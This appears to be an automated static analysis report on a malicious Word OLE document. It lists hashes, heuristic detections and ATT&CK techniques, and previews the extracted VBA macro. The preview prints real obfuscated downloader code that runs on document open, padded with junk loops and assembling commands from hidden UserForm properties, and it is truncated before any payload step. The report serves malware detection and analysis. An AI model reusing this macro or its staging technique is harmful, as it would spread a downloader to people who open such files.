Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66e13d3e634ca653…

MALICIOUS

Office (OLE)

184.2 KB Created: 2019-12-17 06:54:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 43cf60272c235f6167cbe94f3ab8b6dc SHA-1: a32b7f3e6bb4a926f6ff82a89abaf3f0a30855f5 SHA-256: 66e13d3e634ca65322fccb6b3ea5bd18a6b18f8ba7aa4c3895f1749655c281db
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The macro utilizes 'CreateObject' and a hidden UserForm property to stage and execute code, a common technique for downloading and running secondary payloads. ClamAV also detected this file as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7460232-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7460232-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9761 bytes
SHA-256: 47947a067dda3dc61172e9c8c2f9dd30eb1c61dd9629753be7167663e62e6045
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dpacpnsn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Xolkmeecv, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Mujyqqgcjo = Ctzosojtq To Pxqqrfykvq
         Xpklmpfv = Egtxgwru
         Mktazaowkddpn = Zhdxdlec
Next
Select Case Kxuzcsbbtqnv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Fuhyxlqiowtcv = Gvdsrqnxfrg To Xbxyakgilwcn
         Pueknpycsbfrf = Bhqiwlmyvblkh
         Aeesycbgsmvvj = Jeoljoleqndv
Next
Select Case Cfqgsabmnt
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Ftyktijqyi = Ckgtrxnm To Hgntlljzcdyvx
         Mhdxtvggczl = Hjhcoimswzxxh
         Rfgnscfpj = Bazluzrk
Next
Select Case Wwgobxpigzmw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ccfuahpcmuf
End Sub

Attribute VB_Name = "Eysozhkery"
Attribute VB_Base = "0{7F3F53A9-DA74-47DF-895A-2F65294E588F}{E303DCF7-C80F-478A-A15A-55DEB59B88DA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Lcliauzbfojzb"
Function Vmihndzedf()
   For Snwaerbzl = Xbqnsbhcdzdm To Agdyiykaiv
         Nphjqzizatkyo = Vnhobrpekybdg
         Tuovnruuiedfk = Ejmbpnahxexlx
Next
Select Case Wcoeapkshfa
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Seshgoecups = Dpacpnsn.Xolkmeecv
   For Jwtewvxdrv = Mfrkdcvfqrh To Xmsazlxmugtx
         Avjbbiql = Vwnsrvrot
         Iedskwbrzymrz = Gqgrblgled
Next
Select Case Vzoeezdrq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Tierbteufs = Seshgoecups + Eysozhkery.Lhdtokjkks + Eysozhkery.Ddmovtkzbexpw + Eysozhkery.Goiapqgt
   For Wzvcpcqbkshx = Egnvsnlkd To Oultlavt
         Ounifdckq = Rvikiswggmvfy
         Fhzrldsap = Mmkiznwfwzcjd
Next
Select Case Nyttppgxyvlyi
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ucfglxwjk = Tierbteufs + Eysozhkery.Njbrqmnwvib + Eysozhkery.Xpxqzotx
   For Oebqqyzrftq = Wdwirhslm To Dhojagkmlp
         Stsatedonfkf = Qctsdblrmjkqq
         Dbpnieoygz = Evyxigcpht
Next
Select Case Hjagjqdoeg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            
... (truncated)

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